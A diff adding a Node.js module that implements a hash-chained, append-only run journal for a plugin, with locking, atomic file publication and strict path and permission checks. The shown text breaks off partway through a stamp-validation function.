b/plugins/codex-co-engineer/mcp/v3/run-journal.mjs @@ -0,0 +1,2317 @@ +// Durable append-only run journal, cursor paging, and torn-tail healing (P25) +// plus the R25B aggregate resolution binding. +// +// Additive v3 module. Legacy create/open/append/read first binds an exact +// validated accepted-P24 durable run record (the `openRunStore(...)` handle +// plus the `getByRunId` result) by run identity and canonical digest, then +// operates on one per-run private directory inside a separate caller-supplied +// existing private journal root. The P24 store root is never written to and +// sharing it as the journal root fails closed, because the accepted P24 flat +// root rejects foreign entries. +// +// Aggregate create/open is a distinct entrypoint. It binds the same P25 +// journal root/run identity to an exact validated R24A aggregate anchor that +// is already resolution_ready, with its marker/claim/anchor/coordination/ +// resolved-plan identity durably verified. It writes stamp v2 and never +// claims a P24 record. Legacy open never claims aggregate state; aggregate +// open never claims legacy state. There is no migration, cross-open, root +// adoption, empty-root inference, or legacy-to-aggregate fallback. +// +// Storage layout (all paths derived only from validated identifiers): +// /runs//journal.jsonl append-only bounded canonical JSONL +// /runs//state.json atomically published derived state +// /runs//lock advisory cross-process lock file +// /runs//.tmp-<32hex> same-directory private temporaries +// +// Entries form a domain-separated SHA-256 hash chain with dense sequences. +// Appends serialize in-process and across processes through the lock, support +// compare-and-swap `expected_seq`, exact dedupe of the head entry, typed +// replay conflicts, and full lattice validation before any byte is written. +// Publication is crash-safe: same-directory temporary, complete write, file +// fsync, atomic rename, directory fsync, then the derived state is published +// the same way. A crash can therefore only leave an unpublished temporary or +// a stale state cache; a torn final line without its newline terminator is +// healed by truncation under the lock, while any committed corruption, +// regression, malformed or foreign entry, symlink, hardlink, root swap, or +// flood fails hard. Cursors are opaque run-bound checksummed tokens; pages +// are bounded and diagnostics are content-free counts. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { createHash, randomBytes, timingSafeEqual } from 'node:crypto'; +import { constants as fsConstants } from 'node:fs'; +import { link, mkdir, open, opendir, rename, unlink } from 'node:fs/promises'; +import path from 'node:path'; + +import { + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedTest, + sortedCapturedKeys, +} from './grammar.mjs'; +import { + AGGREGATE_CLAIM_KEYS, + AGGREGATE_MARKER_KEYS, + AGGREGATE_RESOLVED_PLAN_KEYS, + AGGREGATE_RESOLVED_PLAN_SCHEMA_ID, + AGGREGATE_RUN_CLAIM_SCHEMA_ID, + AGGREGATE_RUN_STAMP_SCHEMA_ID, + AGGREGATE_STORAGE_ROOT_KIND, + MAX_AGGREGATE_CLAIM_BYTES, + MAX_AGGREGATE_MARKER_BYTES, + MAX_AGGREGATE_RECORD_BYTES, + MAX_AGGREGATE_STAMP_BYTES, + STORAGE_ROOT_SCHEMA_ID, + validateAggregateRunAnchorV1, + validateAggregateRunCoordinationV1, +} from './aggregate-run-anchor.mjs'; +import { IDENTITY_LABELS, canonicalJsonStringify } from './identity.mjs'; +import { + assertBoundDigest, + assertSharedGitIdentityV1, + closedObject, + fail, + snapshotRecord, + validateGitIdentityV1, + validateRunIdentityV1, +} from './protected-identity.mjs'; +import { + projectDispatchTelemetryV1, + validateDispatchProvenanceV1, + validateDispatchTelemetryV1, +} from './protected-telemetry.mjs'; +import { RunContractV1Error, assertRunId, utf8ByteLength } from './run-manifest.mjs'; +import { + RUN_JOURNAL_ENTRY_SCHEMA_ID, + RUN_JOURNAL_GENESIS_PREV, + RUN_JOURNAL_HASH_DOMAIN, + applyRunJournalEntryV1, + reduceRunJournalEntriesV1, + validateRunJournalEventDataV1, + validateRunJournalEntryV1, + validateRunJournalStateV1, +} from './run-reducer.mjs'; +import { RUN_STORE_RECORD_KEYS, RUN_STORE_RECORD_SCHEMA_ID } from './run-store.mjs'; +import { + SHA256_DIGEST_PATTERN, + assertDirectJsonClosure, + freezeData, + identityBoundDigest, +} from './selection-json.mjs'; + +export const RUN_JOURNAL_LOCK_SCHEMA_ID = 'codex-co-engineer.run-journal-lock.v1'; +export const RUN_JOURNAL_STAMP_SCHEMA_ID = 'codex-co-engineer.run-journal-created.v1'; +export const RUN_JOURNAL_STAMP_SCHEMA_ID_V2 = 'codex-co-engineer.run-journal-created.v2'; +export const RUN_JOURNAL_CURSOR_DOMAIN = 'codex-co-engineer.run-journal-cursor.v1'; +export const RUN_JOURNAL_AGGREGATE_BINDING_DOMAIN = + 'codex-co-engineer.run-journal-aggregate-binding.v1'; +export const RUN_JOURNAL_AGGREGATE_BINDING_KEYS = capturedFreeze([ + 'run_id', 'marker_digest', 'claim_digest', 'anchor_digest', + 'coordination_digest', 'resolved_plan_digest', 'phase', 'revision', +]); +export const RUN_JOURNAL_AGGREGATE_BINDING_RECORD_KEYS = capturedFreeze([ + ...RUN_JOURNAL_AGGREGATE_BINDING_KEYS, 'binding_digest', +]); + +export const MAX_RUN_JOURNAL_ENTRIES = 512; +export const MAX_RUN_JOURNAL_ENTRY_BYTES = 4096; +export const MAX_RUN_JOURNAL_FILE_BYTES = MAX_RUN_JOURNAL_ENTRIES * (MAX_RUN_JOURNAL_ENTRY_BYTES + 1); +export const MAX_RUN_JOURNAL_PAGE_EVENTS = 64; +export const MAX_RUN_JOURNAL_PAGE_BYTES = 65_536; +export const MAX_RUN_DIRECTORIES = 256; +export const MAX_RUN_JOURNAL_STATE_BYTES = 262_144; +export const MAX_RUN_JOURNAL_CURSOR_CHARS = 512; +export const MAX_RUN_JOURNAL_TEMPORARIES = 8; +export const MAX_RUN_JOURNAL_DIRECTORY_ENTRIES = 16; +export const MAX_RUN_JOURNAL_ROOT_ENTRIES = 8; +export const MAX_RUN_JOURNAL_LOCK_BYTES = 160; +export const MAX_RUN_JOURNAL_STAMP_BYTES = 256; +export const MAX_AGGREGATE_RUN_JOURNAL_STAMP_BYTES = 384; +export const MAX_RUN_JOURNAL_DIAGNOSTIC_BYTES = 160; +export const RUN_JOURNAL_LOCK_WAIT_MS = 2_000; +export const RUN_JOURNAL_LOCK_POLL_MS = 10; +export const RUN_JOURNAL_LOCK_MAX_AGE_MS = 30_000; +export const MAX_RUN_JOURNAL_LOCK_STEALS = 4; + +const JOURNAL_NAME = 'journal.jsonl'; +const STATE_NAME = 'state.json'; +const LOCK_NAME = 'lock'; +const STAMP_NAME = 'created.json'; +const AGGREGATE_MARKER_NAME = 'storage-root.v1'; +const AGGREGATE_CLAIMS_NAME = 'claims'; +const AGGREGATE_RUNS_NAME = 'runs'; +const AGGREGATE_PLAN_RECORD_NAME = 'resolved-plan.record.json'; +const AGGREGATE_STAMP_NAME = 'created.json'; +const TEMP_NAME_PATTERN = /^\.tmp-[0-9a-f]{32}$/u; +const LOCK_OWNER_NAME_PATTERN = /^\.lock-[0-9a-f]{32}$/u; +const HEX_PATTERN = /^[0-9a-f]{64}$/u; +const BASE64URL_PATTERN = /^[A-Za-z0-9_-]+$/u; +const NONCE_PATTERN = /^[0-9a-f]{32}$/u; +const JOURNAL_MODE_LEGACY = 'legacy'; +const JOURNAL_MODE_AGGREGATE = 'aggregate'; +const HASH_ALGORITHM = 'sha256'; +const TEXT_DECODER = new TextDecoder('utf-8', { fatal: true }); +const CREATE_HASH = createHash; +const RANDOM_BYTES = randomBytes; +const TIMING_SAFE_EQUAL = timingSafeEqual; +const JSON_PARSE = JSON.parse; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const STRING = String; + +const ROOT_OPEN_FLAGS = fsConstants.O_RDONLY + | (fsConstants.O_DIRECTORY ?? 0) + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_NONBLOCK ?? 0); +const FILE_READ_FLAGS = fsConstants.O_RDONLY + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_NONBLOCK ?? 0); +const FILE_CREATE_FLAGS = fsConstants.O_WRONLY + | fsConstants.O_CREAT + | fsConstants.O_EXCL + | (fsConstants.O_NOFOLLOW ?? 0); +const FILE_WRITE_FLAGS = fsConstants.O_RDWR + | (fsConstants.O_NOFOLLOW ?? 0); + +const MAX_AUDIT_ATTEMPTS = 24; +const MAX_DIRECTORY_ANCESTRY_WALK = 96; + +const JOURNAL_CHAINS = new Map(); + +// Internal-only signal: the observed bytes were replaced atomically while +// being read. Callers retry; it never escapes the module. +class JournalVolatility extends Error {} + +function diagnostic(value) { + const text = STRING(value ?? ''); + return text.length <= MAX_RUN_JOURNAL_DIAGNOSTIC_BYTES + ? text + : text.slice(0, MAX_RUN_JOURNAL_DIAGNOSTIC_BYTES); +} + +function failJournal(code, field, message) { + fail(code, field, diagnostic(message)); +} + +function mapErrno(error, field, code, message) { + if (error instanceof RunContractV1Error) throw error; + const errno = error?.code; + if (errno === 'ENOENT') failJournal('run_journal_not_found', field, 'The run journal path does not exist.'); + if (errno === 'ELOOP' || errno === 'ENOTDIR') { + failJournal('run_journal_unsafe_path', field, 'The run journal path is not a real directory entry.'); + } + failJournal(code, field, message); +} + +// --------------------------------------------------------------------------- +// Path and filesystem safety +// --------------------------------------------------------------------------- + +function assertSafeRootPath(value) { + if (typeof value !== 'string' || value.length === 0) { + failJournal('run_journal_unsafe_path', 'root', 'Journal root must be an absolute directory path.'); + } + if (!path.isAbsolute(value) || value.includes('\0') || value.includes('\\')) { + failJournal('run_journal_path_unsafe', 'root', 'Journal root must be an absolute, NUL-free path.'); + } + if (value !== '/' && value.endsWith('/')) { + failJournal('run_journal_path_unsafe', 'root', 'Journal root must not end with a trailing slash.'); + } + if (path.normalize(value) !== value) { + failJournal('run_journal_path_unsafe', 'root', 'Journal root must be a normalized absolute path.'); + } + for (const part of value.split('/')) { + if (part === '.' || part === '..') { + failJournal('run_journal_path_unsafe', 'root', 'Journal root must not contain "." or ".." segments.'); + } + } + return value; +} + +function assertSafeChildName(name, field) { + if (typeof name !== 'string' || name.length === 0 || name === '.' || name === '..') { + failJournal('run_journal_foreign_entry', field, 'Journal directory entry is not an allowed name.'); + } + if (name.includes('/') || name.includes('\\') || name.includes('\0') || path.basename(name) !== name) { + failJournal('run_journal_path_unsafe', field, 'Journal names must be single path components.'); + } + if (utf8ByteLength(name) > 80) { + failJournal('run_journal_foreign_entry', field, 'Journal filename exceeds the bounded length.'); + } + return name; +} + +function childPath(rootPath, name) { + const safe = assertSafeChildName(name, 'name'); + const joined = path.join(rootPath, safe); + if (path.dirname(joined) !== rootPath || path.basename(joined) !== safe) { + failJournal('run_journal_path_unsafe', 'name', 'Journal child path escaped the private root.'); + } + return joined; +} + +function ownerUid() { + return typeof process.geteuid === 'function' ? process.geteuid() : undefined; +} + +function sameIdentity(left, right) { + return Number(left.dev) === Number(right.dev) && Number(left.ino) === Number(right.ino); +} + +function assertPrivateDirectory(stat, field, label) { + if (stat.isSymbolicLink() || !stat.isDirectory()) { + failJournal('run_journal_unsafe_path', field, `The journal ${label} must be a real directory.`); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failJournal('run_journal_unsafe_path', field, `The journal ${label} must be owned by the current user.`); + } + if ((Number(stat.mode) & 0o077) !== 0) { + failJournal('run_journal_unsafe_path', field, + `The journal ${label} must be private (no group or other access).`); + } +} + +function assertRegularUnsharedFile(stat, field) { + if (stat.isSymbolicLink() || !stat.isFile()) { + failJournal('run_journal_not_regular', field, 'Journal files must be regular non-symlink files.'); + } + if (!NUMBER_IS_SAFE_INTEGER(stat.nlink) || stat.nlink !== 1) { + failJournal('run_journal_not_regular', field, 'Journal files must not be hardlinked.'); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failJournal('run_journal_unsafe_path', field, 'Journal files must be owned by the current user.'); + } + if ((Number(stat.mode) & 0o077) !== 0) { + failJournal('run_journal_unsafe_path', field, 'Journal files must be owner-only.'); + } +} + +async function openDirectoryHandle(dirPath, field) { + let handle; + try { + handle = await open(dirPath, ROOT_OPEN_FLAGS); + } catch (error) { + mapErrno(error, field, 'run_journal_unsafe_path', 'The journal directory could not be opened safely.'); + } + try { + const stat = await handle.stat(); + assertPrivateDirectory(stat, field, 'directory'); + return { handle, path: dirPath, dev: stat.dev, ino: stat.ino, mode: stat.mode }; + } catch (error) { + await handle.close().catch(() => {}); + throw error; + } +} + +async function reopenAndVerify(token, label) { + let opened; + try { + opened = await openDirectoryHandle(token.path, label); + } catch (error) { + if (error instanceof RunContractV1Error + && (error.code === 'run_journal_not_found' || error.code === 'run_journal_unsafe_path')) { + failJournal('run_journal_root_swapped', label, `The journal ${label} was replaced during use.`); + } + throw error; + } + try { + if (!sameIdentity(opened, token)) { + failJournal('run_journal_root_swapped', label, `The journal ${label} was replaced during use.`); + } + return opened; + } catch (error) { + await opened.handle.close().catch(() => {}); + throw error; + } +} + +async function syncDirectory(handle) { + try { + await handle.sync(); + } catch (error) { + if (error?.code === 'EINVAL' || error?.code === 'ENOTSUP') return; + failJournal('run_journal_io_failed', 'directory', 'The journal directory could not be synchronized.'); + } +} + +async function enumerateDirectory(token, maxEntries, field) { + let dir; + try { + dir = await opendir(token.path, { bufferSize: 16 }); + } catch (error) { + mapErrno(error, field, 'run_journal_io_failed', 'The journal directory could not be enumerated.'); + } + const names = []; + try { + let count = 0; + while (true) { + const entry = await dir.read(); + if (entry === null) break; + count += 1; + if (count > maxEntries) { + failJournal('run_journal_flood', field, + `Journal directories must not exceed ${maxEntries} entries.`); + } + if (entry.name === '.' || entry.name === '..') continue; + names.push(assertSafeChildName(entry.name, field)); + } + } finally { + await dir.close().catch(() => {}); + } + return names; +} + +async function readBoundedFile(dirToken, name, maxBytes, field, volatile = false) { + const target = childPath(dirToken.path, name); + let handle; + try { + handle = await open(target, FILE_READ_FLAGS); + } catch (error) { + // A missing file is a legitimate observation (fresh journal); only + // instability after a successful open signals an atomic replacement. + if (error?.code === 'ENOENT') return null; + if (error?.code === 'ELOOP' || error?.code === 'EISDIR' || error?.code === 'ENOTDIR') { + failJournal('run_journal_not_regular', field, 'Journal files must be regular non-symlink files.'); + } + mapErrno(error, field, 'run_journal_io_failed', 'The journal file could not be opened safely.'); + } + try { + const stat = await handle.stat(); + assertRegularUnsharedFile(stat, field); + if (Number(stat.size) > maxBytes) { + failJournal('run_journal_file_too_large', field, + `Journal files must not exceed ${maxBytes} bytes.`); + } + const bytes = await handle.readFile(); + if (bytes.byteLength > maxBytes) { + failJournal('run_journal_file_too_large', field, + `Journal files must not exceed ${maxBytes} bytes.`); + } + const after = await handle.stat(); + if (!sameIdentity(stat, after) || Number(after.size) !== Number(stat.size) + || Number(after.nlink) !== Number(stat.nlink)) { + if (volatile || Number(after.nlink) === 0) throw new JournalVolatility('replaced'); + failJournal('run_journal_io_failed', field, 'The journal file changed while it was read.'); + } + return { bytes, stat }; + } finally { + await handle.close().catch(() => {}); + } +} + +async function inspectChildFile(dirToken, name, field, volatile = false) { + const target = childPath(dirToken.path, name); + let handle; + try { + handle = await open(target, FILE_READ_FLAGS); + } catch (error) { + if (error?.code === 'ENOENT') { + if (volatile) throw new JournalVolatility('inspect-vanished'); + return { kind: 'missing' }; + } + if (error?.code === 'ELOOP' || error?.code === 'EISDIR' || error?.code === 'ENOTDIR') { + failJournal('run_journal_not_regular', field, 'Journal entries must be regular non-symlink files.'); + } + mapErrno(error, field, 'run_journal_io_failed', 'The journal entry could not be inspected.'); + } + try { + const stat = await handle.stat(); + if (stat.isSymbolicLink() || !stat.isFile()) { + failJournal('run_journal_not_regular', field, 'Journal entries must be regular non-symlink files.'); + } + return { kind: 'file', stat }; + } finally { + await handle.close().catch(() => {}); + } +} + +function isJournalVolatility(error) { + return error instanceof JournalVolatility; +} + +async function atomicPublish(dirToken, finalName, bytes, field) { + const tempName = `.tmp-${RANDOM_BYTES(16).toString('hex')}`; + const tempPath = childPath(dirToken.path, tempName); + const finalPath = childPath(dirToken.path, finalName); + let handle; + try { + handle = await open(tempPath, FILE_CREATE_FLAGS, 0o600); + } catch (error) { + mapErrno(error, field, 'run_journal_io_failed', 'A private temporary file could not be created.'); + } + try { + await handle.chmod(0o600); + await handle.writeFile(bytes); + await handle.sync(); + const stat = await handle.stat(); + assertRegularUnsharedFile(stat, field); + if (Number(stat.size) !== bytes.byteLength) { + failJournal('run_journal_io_failed', field, 'Temporary write was truncated.'); + } + } finally { + await handle.close().catch(() => {}); + } + try { + await rename(tempPath, finalPath); + } catch (error) { + await unlink(tempPath).catch(() => {}); + mapErrno(error, field, 'run_journal_io_failed', 'The journal file could not be published atomically.'); + } + await syncDirectory(dirToken.handle); + return tempName; +} + +async function removeStaleTemporaries(dirToken, names) { + let removed = 0; + for (const name of names) { + if (!capturedTest(TEMP_NAME_PATTERN, name)) continue; + const target = childPath(dirToken.path, name); + let handle; + try { + handle = await open(target, FILE_READ_FLAGS); + } catch (error) { + if (error?.code === 'ELOOP' || error?.code === 'EISDIR' || error?.code === 'ENOTDIR') { + failJournal('run_journal_torn_temporary', 'temporary', + 'A leftover temporary path is not a regular file and was not followed.'); + } + if (error?.code === 'ENOENT') continue; + throw error; + } + try { + const stat = await handle.stat(); + if (stat.isSymbolicLink() || !stat.isFile()) { + failJournal('run_journal_torn_temporary', 'temporary', + 'A leftover temporary path is not a regular file and was not followed.'); + } + const uid = ownerUid(); + if (uid !== undefined && Number(stat.uid) !== uid) { + failJournal('run_journal_torn_temporary', 'temporary', + 'A leftover temporary file is not owned by the current user.'); + } + } finally { + await handle.close().catch(() => {}); + } + try { + await unlink(target); + removed += 1; + } catch (error) { + if (error?.code !== 'ENOENT') throw error; + } + } + if (removed > 0) await syncDirectory(dirToken.handle); + return removed; +} + +// --------------------------------------------------------------------------- +// Accepted P24 durable run record binding +// --------------------------------------------------------------------------- + +function hashCanonical(canonical) { + return `sha256:${CREATE_HASH(HASH_ALGORITHM).update(canonical, 'utf8').digest('hex')}`; +} + +export function validateBoundRunRecord(record) { + if (record === undefined || record === null || typeof record !== 'object' || Array.isArray(record)) { + failJournal('invalid_type', 'record', 'A bound run record must be a plain JSON data object.'); + } + assertDirectJsonClosure(record, 'record'); + const fields = closedObject(record, 'record', RUN_STORE_RECORD_KEYS); + if (fields.schema !== RUN_STORE_RECORD_SCHEMA_ID) { + failJournal('run_journal_record_invalid', 'record.schema', + `The bound record schema must be exactly "${RUN_STORE_RECORD_SCHEMA_ID}".`); + } + assertRunId(fields.run_id, 'record.run_id'); + assertBoundDigest(fields.request_idempotency_key, 'record.request_idempotency_key'); + if (typeof fields.canonical_digest !== 'string' + || !capturedTest(SHA256_DIGEST_PATTERN, fields.canonical_digest)) { + failJournal('run_journal_record_invalid', 'record.canonical_digest', + 'The bound record canonical digest must be a sha256 digest.'); + } + const identity = validateRunIdentityV1(fields.identity, 'identity'); + const git = validateGitIdentityV1(fields.git, 'git'); + assertSharedGitIdentityV1(identity.git, git, 'git'); + const provenance = validateDispatchProvenanceV1(fields.provenance); + const telemetry = validateDispatchTelemetryV1(fields.telemetry); + if (identity.run_id !== fields.run_id || provenance.run.run_id !== fields.run_id) { + failJournal('run_journal_identity_mismatch', 'record.run_id', + 'The bound record must bind exactly one run identity.'); + } + if (identity.digest !== provenance.run.digest) { + failJournal('run_journal_identity_mismatch', 'record.identity', + 'The run identity does not match the stored provenance run.'); + } + if (git.digest !== provenance.git.digest || git.digest !== identity.git.digest) { + failJournal('run_journal_identity_mismatch', 'record.git', + 'The Git identity does not match the immutable repository/base authority.'); + } + if (provenance.provider_run.request_idempotency_key !== fields.request_idempotency_key) { + failJournal('run_journal_identity_mismatch', 'record.request_idempotency_key', + 'The request idempotency key does not match the protected provider-run key.'); + } + const projectedCanonical = canonicalJsonStringify(projectDispatchTelemetryV1(provenance)); + if (projectedCanonical !== canonicalJsonStringify(telemetry)) { + failJournal('run_journal_identity_mismatch', 'record.telemetry', + 'Telemetry must be the content-free projection of the stored provenance.'); + } + const rebuilt = hashCanonical(canonicalJsonStringify({ + schema: fields.schema, + run_id: fields.run_id, + request_idempotency_key: fields.request_idempotency_key, + identity, + git, + provenance, + telemetry, + })); + if (rebuilt !== fields.canonical_digest) { + failJournal('run_journal_record_mismatch', 'record.canonical_digest', + 'The bound record canonical digest does not match its recomputed value.'); + } + return snapshotRecord({ + schema: fields.schema, + run_id: fields.run_id, + request_idempotency_key: fields.request_idempotency_key, + identity, + git, + provenance, + telemetry, + canonical_digest: fields.canonical_digest, + }); +} + +function assertStoreHandle(store) { + if (store === undefined || store === null || typeof store !== 'object' + || typeof store.getByRunId !== 'function' || typeof store.root !== 'string') { + failJournal('invalid_type', 'store', + 'The journal requires an accepted P24 openRunStore(...) handle.'); + } + return store; +} + +function parseJournalOptions(options) { + if (options === undefined || options === null || typeof options !== 'object' + || Array.isArray(options)) { + failJournal('invalid_type', 'options', 'Journal options must be a plain options object.'); + } + for (const key of sortedCapturedKeys(options)) { + if (!capturedIncludes(['root', 'store', 'run_id'], key)) { + failJournal('unknown_key', `options.${key}`, `options.${key} is not part of the closed options.`); + } + } + for (const key of ['root', 'store', 'run_id']) { + if (!capturedHasOwn(options, key)) { + failJournal('missing_key', `options.${key}`, `options.${key} is required.`); + } + } + const runId = options.run_id; + assertRunId(runId, 'run_id'); + return { + root: assertSafeRootPath(options.root), + store: assertStoreHandle(options.store), + runId, + journalMode: JOURNAL_MODE_LEGACY, + }; +} + +function assertAnchorHandle(anchor) { + if (anchor === undefined || anchor === null || typeof anchor !== 'object' + || typeof anchor.getByRunId !== 'function' + || typeof anchor.getCoordination !== 'function' + || typeof anchor.root !== 'string' + || typeof anchor.marker_digest !== 'string') { + failJournal('invalid_type', 'anchor', + 'The aggregate journal requires an openAggregateRunAnchor(...) handle.'); + } + assertBoundDigest(anchor.marker_digest, 'anchor.marker_digest'); + return { + handle: anchor, + root: assertSafeRootPath(anchor.root), + markerDigest: anchor.marker_digest, + }; +} + +function parseAggregateJournalOptions(options) { + if (options === undefined || options === null || typeof options !== 'object' + || Array.isArray(options)) { + failJournal('invalid_type', 'options', 'Journal options must be a plain options object.'); + } + for (const key of sortedCapturedKeys(options)) { + if (!capturedIncludes(['root', 'anchor', 'run_id'], key)) { + failJournal('unknown_key', `options.${key}`, `options.${key} is not part of the closed options.`); + } + } + for (const key of ['root', 'anchor', 'run_id']) { + if (!capturedHasOwn(options, key)) { + failJournal('missing_key', `options.${key}`, `options.${key} is required.`); + } + } + const runId = options.run_id; + assertRunId(runId, 'run_id'); + const anchor = assertAnchorHandle(options.anchor); + return { + root: assertSafeRootPath(options.root), + anchor: anchor.handle, + anchorRoot: anchor.root, + markerDigest: anchor.markerDigest, + runId, + journalMode: JOURNAL_MODE_AGGREGATE, + }; +} + +function claimDigestPayload(fields) { + return { + schema: fields.schema, + run_id: fields.run_id, + anchor_digest: fields.anchor_digest, + submission_idempotency_key: fields.submission_idempotency_key, + root_marker_nonce: fields.root_marker_nonce, + root_marker_digest: fields.root_marker_digest, + nonce: fields.nonce, + }; +} + +export function computeAggregateBindingDigest(parts) { + if (parts === undefined || parts === null || typeof parts !== 'object' || Array.isArray(parts)) { + failJournal('invalid_type', 'binding', 'An aggregate binding must be a plain JSON data object.'); + } + const fields = closedObject( + parts, + 'binding', + RUN_JOURNAL_AGGREGATE_BINDING_RECORD_KEYS, + RUN_JOURNAL_AGGREGATE_BINDING_KEYS, + ); + assertRunId(fields.run_id, 'binding.run_id'); + assertBoundDigest(fields.marker_digest, 'binding.marker_digest'); + assertBoundDigest(fields.claim_digest, 'binding.claim_digest'); + assertBoundDigest(fields.anchor_digest, 'binding.anchor_digest'); + assertBoundDigest(fields.coordination_digest, 'binding.coordination_digest'); + assertBoundDigest(fields.resolved_plan_digest, 'binding.resolved_plan_digest'); + if (fields.phase !== 'resolution_ready') { + failJournal('run_journal_aggregate_not_ready', 'binding.phase', + 'Aggregate journals require a resolution_ready R24A coordination phase.'); + } + if (typeof fields.revision !== 'number' || !NUMBER_IS_SAFE_INTEGER(fields.revision) + || (fields.revision !== 1 && fields.revision !== 2)) { + failJournal('run_journal_aggregate_not_ready', 'binding.revision', + 'Aggregate journals require a resolution_ready revision of 1 or 2.'); + } + const canonical = canonicalJsonStringify({ + run_id: fields.run_id, + marker_digest: fields.marker_digest, + claim_digest: fields.claim_digest, + anchor_digest: fields.anchor_digest, + coordination_digest: fields.coordination_digest, + resolved_plan_digest: fields.resolved_plan_digest, + phase: fields.phase, + revision: fields.revision, + }); + const digest = CREATE_HASH(HASH_ALGORITHM) + .update(`${RUN_JOURNAL_AGGREGATE_BINDING_DOMAIN}\n${canonical}\n`, 'utf8') + .digest('hex'); + return `sha256:${digest}`; +} + +export function validateBoundAggregateResolution(record) { + if (record === undefined || record === null || typeof record !== 'object' || Array.isArray(record)) { + failJournal('invalid_type', 'binding', 'An aggregate binding must be a plain JSON data object.'); + } + assertDirectJsonClosure(record, 'binding'); + const fields = closedObject(record, 'binding', RUN_JOURNAL_AGGREGATE_BINDING_RECORD_KEYS); + const rebuilt = computeAggregateBindingDigest(fields); + if (typeof fields.binding_digest !== 'string' + || !capturedTest(SHA256_DIGEST_PATTERN, fields.binding_digest) + || rebuilt !== fields.binding_digest) { + failJournal('run_journal_record_mismatch', 'binding.binding_digest', + 'The aggregate binding digest does not match its recomputed value.'); + } + return snapshotRecord({ + run_id: fields.run_id, + marker_digest: fields.marker_digest, + claim_digest: fields.claim_digest, + anchor_digest: fields.anchor_digest, + coordination_digest: fields.coordination_digest, + resolved_plan_digest: fields.resolved_plan_digest, + phase: fields.phase, + revision: fields.revision, + binding_digest: fields.binding_digest, + }); +} + +function failAggregateMismatch(field, message) { + failJournal('run_journal_aggregate_mismatch', field, message); +} + +function parseCanonicalStoredBytes(bytes, field) { + if (bytes === null || bytes === undefined) { + failAggregateMismatch(field, 'The aggregate identity record is missing.'); + } + if (bytes.byteLength >= 3 && bytes[0] === 0xef && bytes[1] === 0xbb && bytes[2] === 0xbf) { + failAggregateMismatch(field, 'The aggregate identity record is malformed.'); + } + let text; + try { + text = TEXT_DECODER.decode(bytes); + } catch { + failAggregateMismatch(field, 'The aggregate identity record is malformed.'); + } + if (!text.endsWith('\n')) { + failAggregateMismatch(field, 'The aggregate identity record is malformed.'); + } + const body = text.slice(0, -1); + let parsed; + try { + parsed = JSON_PARSE(body); + } catch { + failAggregateMismatch(field, 'The aggregate identity record is malformed.'); + } + if (canonicalJsonStringify(parsed) !== body) { + failAggregateMismatch(field, 'The aggregate identity record is malformed.'); + } + return parsed; +} + +function validateDurableMarker(parsed) { + let fields; + try { + fields = closedObject(parsed, AGGREGATE_MARKER_NAME, AGGREGATE_MARKER_KEYS); + } catch (error) { + if (error instanceof RunContractV1Error) { + failAggregateMismatch(AGGREGATE_MARKER_NAME, 'The aggregate root marker is malformed.'); + } + throw error; + } + if (fields.schema !== STORAGE_ROOT_SCHEMA_ID + || fields.kind !== AGGREGATE_STORAGE_ROOT_KIND + || typeof fields.nonce !== 'string' + || !capturedTest(NONCE_PATTERN, fields.nonce)) { + failAggregateMismatch(AGGREGATE_MARKER_NAME, 'The aggregate root marker is malformed.'); + } + const digest = identityBoundDigest(IDENTITY_LABELS.STORAGE_ROOT, { + schema: fields.schema, + kind: fields.kind, + nonce: fields.nonce, + }); + if (digest !== fields.canonical_digest) { + failAggregateMismatch(AGGREGATE_MARKER_NAME, 'The aggregate root marker digest does not match.'); + } + return snapshotRecord(fields); +} + +function validateDurableClaim(parsed, runId, observed, marker) { + let fields; + try { + fields = closedObject(parsed, 'claim', AGGREGATE_CLAIM_KEYS); + } catch (error) { + if (error instanceof RunContractV1Error) { + failAggregateMismatch('claim', 'The aggregate claim is malformed.'); + } + throw error; + } + if (fields.schema !== AGGREGATE_RUN_CLAIM_SCHEMA_ID || fields.run_id !== runId) { + failAggregateMismatch('claim', 'The aggregate claim does not bind this run.'); + } + const digest = identityBoundDigest(IDENTITY_LABELS.AGGREGATE_RUN_CLAIM, claimDigestPayload(fields)); + if (digest !== fields.canonical_digest) { + failAggregateMismatch('claim', 'The aggregate claim digest does not match.'); + } + if (fields.run_id !== observed.run_id + || fields.anchor_digest !== observed.anchor_digest + || fields.submission_idempotency_key !== observed.submission_idempotency_key + || fields.root_marker_digest !== observed.marker_digest + || fields.root_marker_digest !== marker.canonical_digest + || fields.root_marker_nonce !== marker.nonce) { + failAggregateMismatch('claim', 'The aggregate claim does not bind this marker and anchor.'); + } + return snapshotRecord(fields); +} + +function validateDurablePlan(parsed, runId) { + let fields; + try { + fields = closedObject(parsed, AGGREGATE_PLAN_RECORD_NAME, AGGREGATE_RESOLVED_PLAN_KEYS); + } catch (error) { + if (error instanceof RunContractV1Error) { + failAggregateMismatch(AGGREGATE_PLAN_RECORD_NAME, 'The resolved-plan record is malformed.'); + } + throw error; + } + if (fields.schema !== AGGREGATE_RESOLVED_PLAN_SCHEMA_ID + || fields.run_id !== runId + || fields.complete !== true) { + failAggregateMismatch(AGGREGATE_PLAN_RECORD_NAME, 'The resolved-plan record does not bind this run.'); + } + const digest = identityBoundDigest(IDENTITY_LABELS.AGGREGATE_RESOLVED_PLAN, { + schema: fields.schema, + run_id: fields.run_id, + complete: true, + }); + if (digest !== fields.canonical_digest) { + failAggregateMismatch(AGGREGATE_PLAN_RECORD_NAME, 'The resolved-plan record digest does not match.'); + } + return snapshotRecord(fields); +} + +function validateDurableAggregateStamp(parsed, runId, anchorDigest, claimNonce) { + const keys = parsed === null || typeof parsed !== 'object' || Array.isArray(parsed) + ? [] + : sortedCapturedKeys(parsed); + if (keys.length !== 4 + || !keys.includes('schema') || !keys.includes('run_id') + || !keys.includes('record_canonical_digest') || !keys.includes('nonce') + || parsed.schema !== AGGREGATE_RUN_STAMP_SCHEMA_ID + || parsed.run_id !== runId + || parsed.record_canonical_digest !== anchorDigest + || parsed.nonce !== claimNonce + || typeof parsed.nonce !== 'string' + || !capturedTest(NONCE_PATTERN, parsed.nonce)) { + failAggregateMismatch(AGGREGATE_STAMP_NAME, 'The aggregate run stamp does not match this claim.'); + 